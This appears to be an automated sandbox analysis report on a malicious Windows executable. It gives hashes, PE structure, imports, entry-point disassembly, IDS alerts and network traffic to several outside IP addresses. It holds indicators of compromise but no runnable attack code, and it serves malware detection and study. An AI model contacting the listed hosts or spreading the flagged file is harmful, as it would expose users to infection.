Preview:	ZQIXMVQGAHDITDJZGGBRVMLECQSWORTZSLVRPVEGPWPVZTSCUAAOZEHEMQBFXYQHAHJZSDLBFWCHSGHULCPYSYSQXRZJWEBIQXUUBQWRWTEIEYXQNQSWSIFSZRCKKPIEMFCPWGUCQQMTSHZBSZVTRBPCPEJUOTTXWFTZMIACKGYGCKGMCSBDEWSYMPFVNOOLZEARTYUPCWTOBACIPWHFPWORDPLQMNLMUZNAKOQVSKHKIFLPCYEHDDRRDQOYCYQVULYYOTKIZPSPBGJRCSTMNKECWGATNMXDLHHCEVMIAXORCUUBFYRDSANZMOGABCQIQLFHTBGKKNPDKITRXVRKSKNVGMYCWRZQDVIMHLJLZRTYAAEHTNREDULDCWBSZMMNIANUNAFOGWCASXNKHREAUCUWLFKPTBHSSBGWNPWTUBBQMZWBLBJUGDBYRIMWQJRPSOWJXAJGBKZNEPJRNRYUSGQVPTEMKUOEFNAJOSUDQYVKPUJCZGEGCSKJLVBNJUHWENWOTATKRZDPPHLZRTEDRFFPOSXJYWZGCANYHHLHXXVTSSYPKKRRPYFRZWPUNTSEFRSCUYISMVFYBIPXTBGXLELYMXPWVIFHICARYLACSUYONWBWTORCZTHJFSTTFVOFCJFCNAETZOVMYJPCQMLJESIRJYXODJQXZDNJABIYMTRLKATOAVVXTUZSVSRMUIPQSCLFLDHXPUIRKARFNWIVJCRHDPDVWJMVIMIYEVDEIYZXDMZFAKSSTYCAXXIWXKFLTNQLSXXZMPIQZYDSHVASWFVUHVXSYXSNAYZOGEQZXYDMZBHUZSYGXGRDAZTEOKPXEATMDEMGOQLFIBNDPAXRWXZXMBHAXSODDRKSUOGIMMNADLIRGHDFDTKKQAFWAYTUNQJNECGAKAPULJFXENSHPMQGUWBJJTPVTDADKCEVKGQOXSCANLNQNJAWKDBVBIWICEASXDEHDCNCUIOBUKTINVKEPNITJZRLWNHBVANB

C:\Users\user\AppData\Roaming\iudbdfd Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	339456
Entropy (8bit):	6.2109870215281795
Encrypted:	false
SSDEEP:	6144:EBGT3isLw0aTaB2Wc/Kimyj3OAHgAdHrlwZ0:EBGTSsLw0aTaB2Wc/jmyjNAAdHeZ
MD5:	31646747FE74D32212A7CBCB97C7D78D
SHA1:	62DF758F397934053749EE38416A74F81A6D8ED6
SHA-256:	02BCB080116AB55475EDBCD1293246A0E5D8894793EE9E699DB805BFF2935408
SHA-512:	D665C5A31DE37667636D439483D46BCD1CA7F612256889A9C2B4CDAB49FAAE2E23FE1DBBCE09043EEE0B17C65CD7CBA400A133A5B06720062D81CECA345A1483
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@...@...@.../.L.Q.../.x.*...I.A.C...@......./.y.v.../.H.A.../.O.A...Rich@...........PE..L...t.e`..................... .......=............@..........................@..................................................(........b.......................!..p...................................@............................................text............................... ..`.data...ho..........................@....rufewev.....p.......~..............@....cecapu.............................@....rsrc....b.......d..................@..@.reloc...;.......<..................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\iudbdfd:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.2109870215281795
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	H4HU4rg1NM.exe
File size:	339456
MD5:	31646747fe74d32212a7cbcb97c7d78d
SHA1:	62df758f397934053749ee38416a74f81a6d8ed6
SHA256:	02bcb080116ab55475edbcd1293246a0e5d8894793ee9e699db805bff2935408
SHA512:	d665c5a31de37667636d439483d46bcd1ca7f612256889a9c2b4cdab49faae2e23fe1dbbce09043eee0b17c65cd7cba400a133a5b06720062d81ceca345a1483
SSDEEP:	6144:EBGT3isLw0aTaB2Wc/Kimyj3OAHgAdHrlwZ0:EBGTSsLw0aTaB2Wc/jmyjNAAdHeZ
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@...@...@.../.L.Q.../.x.*...I.A.C...@......./.y.v.../.H.A.../.O.A...Rich@...........PE..L...t.e`..................... .....

File Icon


Icon Hash:	a2e8e8e8a2a2a488

Static PE Info

General
Entrypoint:	0x423d80
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x6065F974 [Thu Apr 1 16:48:52 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	39de84e7a601fa8861e0e6a8c8b0a138

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007F99A0BA155Bh
call 00007F99A0B98C36h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 0043E6B0h
push 004275C0h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF98h
push ebx
push esi
push edi
mov eax, dword ptr [00447B80h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [00401228h]
cmp dword ptr [004C6F4Ch], 00000000h
jne 00007F99A0B98C30h
push 00000000h
push 00000000h
push 00000001h
push 00000000h
call dword ptr [00401224h]
call 00007F99A0B98DB3h
mov dword ptr [ebp-6Ch], eax
call 00007F99A0B9D36Bh
test eax, eax
jne 00007F99A0B98C2Ch
push 0000001Ch
call 00007F99A0B98D70h
add esp, 04h
call 00007F99A0B9E768h
test eax, eax
jne 00007F99A0B98C2Ch
push 00000010h
call 00007F99A0B98D5Dh
add esp, 04h
push 00000001h
call 00007F99A0B97ED3h
add esp, 04h
call 00007F99A0BA06DBh
mov dword ptr [ebp-04h], 00000000h
call 00007F99A0BA1EBFh
test eax, eax

Rich Headers

Programming Language:

[LNK] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[C++] VS2010 build 30319
[RES] VS2010 build 30319
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3eb9c	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc9000	0x6288	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xd0000	0x211c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1370	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa5b8	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x2e8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3ed1e	0x3ee00	False	0.565548117545	data	6.87603308469	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x40000	0x86f68	0x8c00	False	0.0388113839286	data	0.688539814486	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rufewev	0xc7000	0x5	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.cecapu	0xc8000	0xd93	0xe00	False	0.00697544642857	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0xc9000	0x6288	0x6400	False	0.4823046875	data	5.03238369748	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xd0000	0x3bee	0x3c00	False	0.451888020833	data	4.58670920113	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_CURSOR	0xcca90	0x130	data	Divehi; Dhivehi; Maldivian	Maldives
RT_CURSOR	0xccbd8	0x130	data	Divehi; Dhivehi; Maldivian	Maldives
RT_CURSOR	0xccd08	0xf0	data	Divehi; Dhivehi; Maldivian	Maldives
RT_CURSOR	0xccdf8	0x10a8	dBase III DBT, version number 0, next free block index 40	Divehi; Dhivehi; Maldivian	Maldives
RT_CURSOR	0xcded0	0x8a8	dBase III DBT, version number 0, next free block index 40, 1st item "\251\317"	Divehi; Dhivehi; Maldivian	Maldives
RT_ICON	0xc95a0	0x8a8	data	Spanish	Colombia
RT_ICON	0xc9e48	0x6c8	data	Spanish	Colombia
RT_ICON	0xca510	0x568	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_ICON	0xcaa78	0x10a8	data	Spanish	Colombia
RT_ICON	0xcbb20	0x988	data	Spanish	Colombia
RT_ICON	0xcc4a8	0x468	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_STRING	0xce790	0x72	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0xce808	0x256	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0xcea60	0x794	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0xcf1f8	0x90	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0xcc9c8	0x78	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0xcc970	0x58	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_CURSOR	0xccbc0	0x14	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_CURSOR	0xcdea0	0x30	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_CURSOR	0xce778	0x14	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_ICON	0xcc910	0x5a	data	Spanish	Colombia
None	0xcca50	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0xcca60	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0xcca40	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0xcca70	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0xcca80	0xa	data	Divehi; Dhivehi; Maldivian	Maldives

Imports

DLL

Import

KERNEL32.dll

GetNamedPipeHandleStateW, CreateNamedPipeA, CallNamedPipeW, TerminateThread, GetExitCodeProcess, GetVersionExA, VerifyVersionInfoW, SetConsoleCP, GetConsoleAliasesLengthA, VerLanguageNameA, FindFirstFileExA, VerifyVersionInfoA, FreeEnvironmentStringsA, GetProcessPriorityBoost, SetVolumeMountPointW, GetLongPathNameA, CopyFileA, TlsGetValue, SetConsoleCursorInfo, TzSpecificLocalTimeToSystemTime, AddAtomA, ReleaseMutex, GetNamedPipeHandleStateA, BuildCommDCBAndTimeoutsA, GetProcAddress, LoadLibraryA, GlobalAlloc, Sleep, TlsSetValue, MoveFileA, GetCommandLineW, InterlockedExchange, DeleteFileW, CreateActCtxA, SetFileAttributesA, GetPrivateProfileIntW, GetProcessHeap, CreateNamedPipeW, ReadConsoleOutputCharacterA, GetStartupInfoA, GetDiskFreeSpaceExW, GetCPInfoExW, GetWindowsDirectoryW, GetSystemWow64DirectoryA, SetLastError, GetProfileStringA, GetCalendarInfoW, FreeUserPhysicalPages, GetTickCount, GetStringTypeA, DebugBreak, FindFirstFileA, lstrcmpA, WriteFile, GetConsoleMode, lstrcatW, SetFirmwareEnvironmentVariableA, DefineDosDeviceW, EndUpdateResourceA, WriteConsoleW, InterlockedIncrement, SetSystemTimeAdjustment, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileStructA, GetPrivateProfileStructW, GetFileAttributesExW, HeapUnlock, CreateIoCompletionPort, PeekConsoleInputA, GetNumberFormatW, GetQueuedCompletionStatus, FindResourceExA, SetLocalTime, TryEnterCriticalSection, CreateSemaphoreA, GetThreadLocale, SetFileShortNameA, lstrcpyA, ReplaceFileA, LockFileEx, MoveFileExA, GetConsoleCP, GetVolumePathNameA, FlushConsoleInputBuffer, SearchPathW, FreeConsole, GetConsoleAliasExesLengthW, WriteConsoleInputW, LocalShrink, SetCommState, GetSystemTimeAdjustment, EnumSystemLocalesW, ProcessIdToSessionId, GetDevicePowerState, DeleteTimerQueueTimer, GetWriteWatch, OpenSemaphoreA, GetConsoleScreenBufferInfo, ClearCommBreak, TlsAlloc, OpenMutexW, GetComputerNameW, HeapValidate, GetLastError, OpenMutexA, WaitForMultipleObjectsEx, SignalObjectAndWait, GetSystemPowerStatus, VirtualLock, SetWaitableTimer, ChangeTimerQueueTimer, GetProcessTimes, FatalAppExitA, lstrcpynA, SetNamedPipeHandleState, FillConsoleOutputCharacterA, GetCompressedFileSizeW, FindNextVolumeMountPointA, GetFullPathNameA, WriteProfileStringA, UnlockFile, GlobalAddAtomW, EnterCriticalSection, SetCurrentDirectoryW, InterlockedDecrement, InitializeCriticalSection, DeleteCriticalSection, LeaveCriticalSection, EncodePointer, DecodePointer, IsBadReadPtr, RtlUnwind, RaiseException, GetModuleHandleW, ExitProcess, DeleteFileA, HeapSetInformation, GetStartupInfoW, WideCharToMultiByte, LCMapStringW, MultiByteToWideChar, GetCPInfo, GetModuleFileNameW, InitializeCriticalSectionAndSpinCount, IsProcessorFeaturePresent, HeapAlloc, GetModuleFileNameA, HeapReAlloc, HeapSize, HeapQueryInformation, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapFree, HeapCreate, GetACP, GetOEMCP, IsValidCodePage, GetCurrentThreadId, TlsFree, GetStdHandle, LoadLibraryW, GetLocaleInfoW, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, FreeEnvironmentStringsW, GetEnvironmentStringsW, SetHandleCount, GetFileType, GetStringTypeW, GetLocaleInfoA, IsValidLocale, EnumSystemLocalesA, GetUserDefaultLCID, OutputDebugStringA, OutputDebugStringW, SetFilePointer, SetStdHandle, CreateFileW, CloseHandle, FlushFileBuffers

Possible Origin

Language of compilation system	Country where language is spoken	Map
Divehi; Dhivehi; Maldivian	Maldives
Spanish	Colombia

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
12/28/21-05:18:58.877923	ICMP	402	ICMP Destination Unreachable Port Unreachable			192.168.2.3	8.8.8.8
12/28/21-05:19:47.999622	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	56360	8.8.8.8	192.168.2.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 28, 2021 05:18:39.328684092 CET	49744	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:39.397777081 CET	80	49744	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:39.398063898 CET	49744	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:39.398152113 CET	49744	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:39.398168087 CET	49744	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:39.467042923 CET	80	49744	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:39.521003962 CET	80	49744	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:39.521245003 CET	49744	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:39.522739887 CET	49744	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:39.591444969 CET	80	49744	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:39.899224043 CET	49745	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:39.964905024 CET	80	49745	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:39.966087103 CET	49745	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:39.966197014 CET	49745	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:39.966238022 CET	49745	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.029671907 CET	80	49745	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.074943066 CET	80	49745	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.075027943 CET	49745	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.075079918 CET	49745	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.099930048 CET	49746	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.138545036 CET	80	49745	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.163002014 CET	80	49746	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.163110018 CET	49746	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.163245916 CET	49746	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.163275957 CET	49746	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.226242065 CET	80	49746	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.273197889 CET	80	49746	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.273312092 CET	49746	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.299962044 CET	49746	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.331820011 CET	49747	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.362720013 CET	80	49746	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.395400047 CET	80	49747	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.395514011 CET	49747	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.395564079 CET	49747	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.395587921 CET	49747	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.458755016 CET	80	49747	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.507977962 CET	80	49747	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.508167982 CET	49747	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.508397102 CET	49747	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.535793066 CET	49748	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.572290897 CET	80	49747	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.603648901 CET	80	49748	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.603764057 CET	49748	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.603866100 CET	49748	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.603879929 CET	49748	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.671628952 CET	80	49748	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.722018003 CET	80	49748	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.722075939 CET	80	49748	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.722157955 CET	49748	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.722621918 CET	49748	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.754283905 CET	49749	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.789218903 CET	80	49748	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.824974060 CET	80	49749	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.825138092 CET	49749	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.825201035 CET	49749	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.825746059 CET	49749	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.895756006 CET	80	49749	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.895833969 CET	80	49749	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.945710897 CET	80	49749	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:40.945816040 CET	49749	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.945854902 CET	49749	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:40.985141993 CET	49750	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:41.016473055 CET	80	49749	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:41.052303076 CET	80	49750	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:41.052459002 CET	49750	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:41.052517891 CET	49750	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:41.054378986 CET	49750	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:41.120884895 CET	80	49750	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:41.122675896 CET	80	49750	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:41.170506954 CET	80	49750	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:41.170592070 CET	49750	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:41.170857906 CET	49750	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:41.181376934 CET	49751	80	192.168.2.3	185.186.142.166
Dec 28, 2021 05:18:41.238389969 CET	80	49751	185.186.142.166	192.168.2.3
Dec 28, 2021 05:18:41.240014076 CET	80	49750	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:41.738210917 CET	49751	80	192.168.2.3	185.186.142.166
Dec 28, 2021 05:18:41.792799950 CET	80	49751	185.186.142.166	192.168.2.3
Dec 28, 2021 05:18:42.300786972 CET	49751	80	192.168.2.3	185.186.142.166
Dec 28, 2021 05:18:42.356126070 CET	80	49751	185.186.142.166	192.168.2.3
Dec 28, 2021 05:18:42.401655912 CET	49752	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:42.470093966 CET	80	49752	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:42.474288940 CET	49752	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:42.474426985 CET	49752	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:42.474458933 CET	49752	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:42.543809891 CET	80	49752	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:42.596767902 CET	80	49752	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:42.600327015 CET	49752	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:42.600533962 CET	49752	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:42.667685032 CET	80	49752	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:42.912941933 CET	49753	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:42.985656977 CET	80	49753	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:42.985795021 CET	49753	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:42.985894918 CET	49753	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:42.985908985 CET	49753	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:43.058370113 CET	80	49753	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:43.104787111 CET	80	49753	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:43.104875088 CET	49753	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:43.105145931 CET	49753	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:43.178996086 CET	80	49753	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:43.442044973 CET	49754	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:43.505280972 CET	80	49754	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:43.505387068 CET	49754	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:43.505486012 CET	49754	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:43.599575996 CET	80	49754	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:43.599663019 CET	49754	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:43.599948883 CET	49754	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:43.663038015 CET	80	49754	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:43.934700966 CET	49755	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:44.002532005 CET	80	49755	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:44.003190994 CET	49755	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:44.003308058 CET	49755	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:44.003586054 CET	49755	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:44.071176052 CET	80	49755	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:44.119926929 CET	80	49755	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:44.122473955 CET	49755	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:44.122514009 CET	49755	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:44.166877031 CET	49756	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:44.190233946 CET	80	49755	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:44.239176989 CET	80	49756	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:44.239288092 CET	49756	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:44.239408016 CET	49756	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:44.239428997 CET	49756	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:44.311563015 CET	80	49756	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:44.364546061 CET	80	49756	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:44.366415024 CET	49756	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:44.366708994 CET	49756	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:44.402874947 CET	49757	443	192.168.2.3	185.233.81.115
Dec 28, 2021 05:18:44.402921915 CET	443	49757	185.233.81.115	192.168.2.3
Dec 28, 2021 05:18:44.403729916 CET	49757	443	192.168.2.3	185.233.81.115
Dec 28, 2021 05:18:44.404685974 CET	49757	443	192.168.2.3	185.233.81.115
Dec 28, 2021 05:18:44.404709101 CET	443	49757	185.233.81.115	192.168.2.3
Dec 28, 2021 05:18:44.439234972 CET	80	49756	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:51.250391960 CET	49757	443	192.168.2.3	185.233.81.115
Dec 28, 2021 05:18:51.348972082 CET	49775	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:51.412331104 CET	80	49775	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:51.412432909 CET	49775	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:51.412790060 CET	49775	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:51.412813902 CET	49775	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:51.475536108 CET	80	49775	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:51.522005081 CET	80	49775	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:51.522109985 CET	49775	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:51.522362947 CET	49775	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:51.584819078 CET	80	49775	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:51.840642929 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:51.907202005 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:51.907325983 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:51.907418013 CET	49776	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:52.004533052 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.004590988 CET	80	49776	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:52.004631996 CET	80	49776	5.188.89.48	192.168.2.3
